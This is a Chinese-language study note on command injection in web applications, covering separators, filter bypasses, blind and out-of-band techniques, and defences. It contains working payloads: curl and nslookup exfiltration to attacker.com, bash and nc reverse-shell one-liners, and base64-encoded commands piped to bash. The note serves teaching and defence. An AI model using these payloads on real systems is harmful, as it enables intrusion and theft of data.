网络安全 / A LEAF IN THE GARDEN

命令注入

网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。

注入

程序把用户输入拼接到系统命令,攻击者可以注入恶意命令

$patt = $_GET['cmd'];
system("grep $patt /etc/passwd");

注入一般有三个部分

[消除上文] [夹带私货] [消除下文]
;         whoami    #

命令分隔符

通常用命令分隔符实现消除上文和下文

分隔符含义
;顺序执行,互不影响
|管道,前一命令输出给后一命令
||前一命令失败才执行后一命令
&&前一命令成功才执行后一命令
&后台执行,前台继续下一命令
$()命令替换,执行括号内命令并替换为执行结果
\n换行,两行命令先后执行
#注释,消除下文

过滤绕过

有些程序会对用户输入进行过滤,不允许某些关键词,但可用各种方法绕过。

无影响替换

关键命令被过滤时,可对命令进行没有实际影响的变换。

  • 大小写混合: WhOaMi

  • 反斜杠转义: who\ami

  • 引号分割: who"am"i who''ami

  • 空变量插入: who${x}ami

通配符

使用通配符,搭配命令绝对路径,绕过关键词过滤

/usr/bin/wh?ami

特殊替换

关键字符被过滤时,可用其特殊替换绕过

  • ${IFS}: Internal Field Separator,替换空格

  • ${HOME:0:1}: 主目录首字符,替换路径分隔符

编码

输入编码后的命令,通过管道符解码再执行

  • base64 编码

    echo "d2hvYW1p" | base64 -d | bash
  • 十六进制编码

    echo "77686f616d690a" | xxd -p -r | bash

盲注入

有些程序不会返回命令执行结果,可通过一些方法判断命令是否执行成功。

时间延迟

使用延时命令后,观察页面响应时间

  • sleep: 延迟指定秒数

    sleep 5
  • ping: 通过参数控制时间

    # 发 5 个包,每个间隔 1 秒,约 5 秒后返回
    ping -c 5 -i 1 localhost

出网外带(OOB-Out of Band)

执行命令后,向攻击者的服务器发送反馈信息

DNS 外带

查询攻击者控制的域名,信息挂在子域名上

nslookup $(whoami).attacker.com

HTTP 外带

用 HTTP 请求向攻击者服务器发送信息

# 信息挂在 URL 文件路径上
curl http://attacker.com/$(whoami)

# 信息挂在请求头上
curl -H "Info: $(whoami)" http://attacker.com

# 信息挂在请求体中
curl -d "info=$(whoami)" http://attacker.com

文件写入

重定向使结果写入文件

whoami > /var/www/html/info.txt

再访问该文件

GET /info.txt HTTP/1.1

反弹 shell

利用命令注入的机会打开一个反弹 shell(正向 shell 也行)

# bash 反弹 shell
bash -i >& /dev/tcp/attacker/1234 0>&1

# nc 反弹 shell
nc -e /bin/bash attacker 1234
nc attacker 1234 | bash 2>&1 | nc attacker 5678

# fifo 反弹 shell
mkfifo /tmp/f;
nc attacker 1234 0</tmp/f | bash &> /tmp/f

防御

由最佳防御到最差防御,顺序如下:

避免

最好的办法就是不要拼接用户输入到系统命令中,使用语言提供的 API 代替系统命令。

白名单

只允许特定命令或特定格式输入

$host = $_GET['host'];
if(!filter_var($host, FILTER_VALIDATE_IP)){
    die("Invalid IP address");
}

参数转义

使输入的特殊字符失去特殊含义,避免命令注入

$host = escapeshellarg($_GET['host']);
system("ping -c 4 $host");

黑名单

禁用部分命令或字符,容易被绕过